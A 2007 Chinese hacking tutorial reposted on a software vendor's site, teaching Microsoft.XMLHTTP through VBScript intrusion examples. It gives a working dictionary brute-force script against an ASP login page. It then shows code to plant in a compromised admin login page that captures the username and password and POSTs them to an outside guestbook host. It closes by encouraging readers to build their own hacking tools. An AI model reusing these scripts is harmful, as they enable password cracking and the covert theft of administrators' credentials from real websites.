没有找到合适的产品?
联系客服协助选型:023-68661681
提供3000多款全球软件/控件产品
针对软件研发的各个阶段提供专业培训与技术咨询
根据客户需求提供定制化的软件开发服务
全球知名设计软件,显著提升设计质量
打造以经营为中心,实现生产过程透明化管理
帮助企业合理产能分配,提高资源利用率
快速打造数字化生产线,实现全流程追溯
生产过程精准追溯,满足企业合规要求
以六西格玛为理论基础,实现产品质量全数字化管理
通过大屏电子看板,实现车间透明化管理
对设备进行全生命周期管理,提高设备综合利用率
实现设备数据的实时采集与监控
利用数字化技术提升油气勘探的效率和成功率
钻井计划优化、实时监控和风险评估
提供业务洞察与决策支持实现数据驱动决策
翻译|其它|编辑:郝浩|2007-09-19 10:34:40.000|阅读 1426 次
概述:
# 界面/图表报表/文档/IDE等千款热门软控件火热销售中 >>
最近在我的脚本群里总有一些朋友问我 XMLHTTP 对象到底是什么,有什么用。本文我就详细地介绍一下 Microsoft.XMLHTTP 对象的使用,希望对大家能有所帮助。
首先,Microsoft.XMLHTTP 是一个控件,而且是系统默认自带的控件(Windows 98以下除外),它通过 http 协议访问网络。在我的理解中,XMLHTTP 控件就相当于一个浏览器:向网站发送 http 请求(POST 或 GET),然后取得返回数据。
一些小菜们是不是认为编写关于 WEB 入侵的程序需要很高的编程技术?其实通过 XMLHTTP 对象可以轻易地完成这类程序。下面我就通过一些实例来介绍一下 XMLHTTP 的应用。调用 XMLHTTP 的方法很多,为了方便,本文用 VBS 脚本来实现。
一、密码暴力破解程序
让我们先通过一个例子来熟悉一下 XMLHTTP 的使用方法。
通过查看源代码,我们看到如下代码(我省略了部分表格代码,仅保留关键信息):
<form action=User/login.asp method="post">
用户名:<input name=user type=text maxlength=20 size=10 value="" class=fminpt>
密码: <input name=pass type=password maxlength=20 size=10 value="" class=fminpt>
<input type=submit value="登录" class=fmbtn>
</form>
由此可以看出,用户登陆的实质是通过浏览器对"User/login.asp"页面进行一次访问,并提交 user 和 password 两个变量的值。当然,除了查看源代码,你也可以通过抓包来分析。
前面说过,XMLHTTP 控件就相当于一个浏览器,那我们来看看如何用 XMLHTTP 来模拟一次登陆。先在网站上随便注册一个用户,如用户名“千寂孤城”,密码“qjgc”。然后写一个脚本,代码如下:
Function URLEncoding(vstrIn) '一个转换函数,暂时不管它,后文会提到
strReturn = ""
Dim i
For i = 1 To Len(vstrIn)
ThisChr = Mid(vstrIn, i, 1)
If Abs(Asc(ThisChr)) < &HFF Then
strReturn = strReturn & ThisChr
Else
innerCode = Asc(ThisChr)
If innerCode < 0 Then
innerCode = innerCode + &H10000
End If
Hight8 = (innerCode And &HFF00) \ &HFF
Low8 = innerCode And &HFF
strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
End If
Next
strReturn = Replace(strReturn, Chr(32), "%20")
URLEncoding = strReturn
End Function
'先创建 XMLHTTP 对象
sethttp=createobject("Microsoft.XMLHTTP")
'打开与服务端的连接,第一个参数为发送方法,即 get 或 post,第二个参数是要访问的网页地址,最后一个参数是同步的意思,设为 true 就是异步,即脚本在发送完指令后立即向后执行而不等待服务器的返回信息。其实还有两个不常用的参数 bstrUser 和 bstrPassword,我们不管它。
http.open "POST","http://***/User/Login.asp",false
'由于是提交表单,所以必须设定下面这句!否则会出错。
http.setrequestheader "Content-Type","application/x-www-form-urlencoded"
name=URLEncoding("千寂孤城")
'发送指令,故意发送个错误的密码。
http.send "user="&name&"&"&"pass=abcd"
'以下是创建 adodb.stream 对象来把网站的返回信息写入 ok.htm 文件。
set aso=createobject("Adodb.Stream")
aso.open
aso.type=1
aso.writehttp.responsebody
aso.saveToFile "ok.htm",2
aso.close
运行这个脚本后,当目录会生成一个 ok.htm 文件。
看到的页面和我们通过浏览器来登陆时输错了密码后出现的页面基本一致。接下来我们再把脚本中提交的密码改成正确的,即把 http.send "user="&name&"&"&"pass=abcd"改成 http.send "user="&name&"&"&"pass=qjgc"。再次运行脚本后打开 ok.htm 文件。
呵呵,成功登陆了吧!我再解释两点:
1、URLEncoding 函数的用处是把提交数据转换成16进制,比如把千寂孤城转换成%C7%A7%BC%C5%B9%C2%B3%C7,因为在 http 协议里是不能直接提交汉字的,英文和数字可以不转换;
2、上面的脚本里用 Adodb.Stream 来写文件而不用 FSO 是因为网站的返回数据并不是字符串的形式,只有 Adodb.Stream 才能以流的方式进行文件操作。
通过刚才这个脚本相信大家对 XMLHTTP 控件的使用方法已经很清楚了,那么写一个密码破解程序是不是变得很简单了呢?密码破解我们可以通过利用XMLHTTP控件反复向网站登陆页面提交密码,再分析返回数据判断密码是否正确来实现。那么究竟如何分析返回数据呢?提取关键字?其实最简单的方法是判断返回数据的长度。以破解“千寂孤城”为例,我们可以这样写:
'打开字典zidian.txt
set fso=createobject("scripting.filesystemobject")
set zidian=fso.opentextfile("zidian.txt")
sethttp=createobject("Microsoft.XMLHTTP")
http.open "POST","http://***/User/Login.asp",false
http.setrequestheader "Content-Type","application/x-www-form-urlencoded"
name=URLEncoding("千寂孤城")
'发送一个错误密码a,以获取错误密码对应的返回数据的长度。万一密码猜对了怎么办?那你去买彩票吧。
http.send "user="&name&"&"&"pass=a"
FalseLenth=len(Http.responsebody)
'开始破解,循环提交数据致字典被读完
do while zidian.atendofstream=false
'从字典里读出密码
pwd=zidian.readline
http.open "POST","http://***/User/Login.asp",false
http.setrequestheader "Content-Type","application/x-www-form-urlencoded"
http.send "user="&name&"&"&"pass="&pwd
'把反馈信息的长度和密码错误时的反馈信息长度相比较,如果不相等则说明密码正确。然而实际测试时发现这样做并不是很准确,因此我改成了长度相差太大则密码正确
if len(Http.responsebody)<FalseLenth-100 or len(Http.responsebody)>FalseLenth+100 then
wscript.echo "密码是:"&pwd
wscript.quit
end if
loop
二、记录管理员密码
大家在通过各种方法得到一个 webshell 后想得到管理员的密码时会怎么做呢?从数据库中取出经过 md5加密后的密码狂暴一通?呵呵,其实还有个方法就是修改 Admin 的登陆页面,使其在 Admin 登陆时自己把密码记录下来。比如在登录页面中插入类似如下的代码:
set aso=createobject("Adodb.Stream")
aso.open
aso.type=2
aso.loadfromfile "logs.asp"
aso.position=aso.size
aso.writetext Request.Form("user")&" "&Request.Form("pass")&"||"
aso.saveToFile "logs.asp",2
aso.close
这种方法虽然方便但太显眼了。你想想服务器上无缘无故多出了一个文件,里面还记录着自己的密码。管理员就是再白痴也会敢紧把它删了。但是如果我们通过调用 XMLHttp 控件将管理员的密码提交到其他站点上去,效果就不一样了。管理员即使发现了也只有干瞪眼。呵呵,我们在登录页面中插入类似如下的代码就可以了:
Function URLEncoding(vstrIn)
……省略……
End Function
user=urlencoding(Request.Form("user"))
pass=urlencoding(Request.Form("pass"))
sethttp=createobject("Microsoft.XMLHTTP")
'可以看出是个留言本
http.open "POST","http://***/guestbook/save.asp",false
http.setrequestheader "Content-Type","application/x-www-form-urlencoded"
'提交数据,除了 user 和 pass 还有一些留言本发贴时的必须数据
http.send "face=Image1.gif&guestname=test&guestcontent="&user&"|"&pass&"||"&"&Submit3=%CC%E1%BD%BB"
最好是把提交数据的代码插入到源文件的某些函数中,如判断登陆是否成功的函数。要知道哪些是必须提交的数据只需到留言本上去发个贴,抓包下来看看就明白了。
希望同学们不要通过修改自己学校论坛的登陆页面来获得其他同学的密码并用得到的密码来测试他人的邮箱或 QQ。
三、总结
XMLHttp 控件的应用当然远不止这些。如抢注会员、疯狂刷票、Cross-Site 和 SQL Injection 漏洞利用程序以及小偷程序、断点续传程序、原始木马等等都有它的用武之地。但实质是一样的,不外乎就是对指定页面进行一次或多次访问,发送各种请求并将服务器反回的数据进行分析处理。通过我举的这两个例子相信各位小菜们一定对如何使用 XMLhttp 控件有了足够的了解,自己也能举一反三,写出各种 DIY 的黑客工具来了吧!
本站文章除注明转载外,均为本站原创或翻译。欢迎任何形式的转载,但请务必注明出处、不得修改原文相关链接,如果存在内容上的异议请邮件反馈至chenjj@evget.com
文章转载自:个人博客接DevExpress原厂商通知,将于近日上调旗下产品授权价格,现在下单客户可享受优惠报价!
面对“数字中国”建设和中国制造2025战略实施的机遇期,中车信息公司紧跟时代的步伐,以“集约化、专业化、标准化、精益化、一体化、平台化”为工作目标,大力推进信息服务、工业软件等核心产品及业务的发展。在慧都3D解决方案的实施下,清软英泰建成了多模型来源的综合轻量化显示平台、实现文件不失真的百倍压缩比、针对模型中的大模型文件,在展示平台上进行流畅展示,提升工作效率,优化了使用体验。
本站的模型资源均免费下载,登录后即可下载。模型仅供学习交流,勿做商业用途。
本站的模型资源均免费下载,登录后即可下载。模型仅供学习交流,勿做商业用途。
服务电话
重庆/ 023-68661681
华东/ 13452821722
华南/ 18100878085
华北/ 17347785263
客户支持
技术支持咨询服务
服务热线:400-700-1020
邮箱:sales@evget.com
关注我们
地址 : 重庆市九龙坡区火炬大道69号6幢
慧都科技 版权所有 Copyright 2003-
2025 渝ICP备12000582号-13 渝公网安备
50010702500608号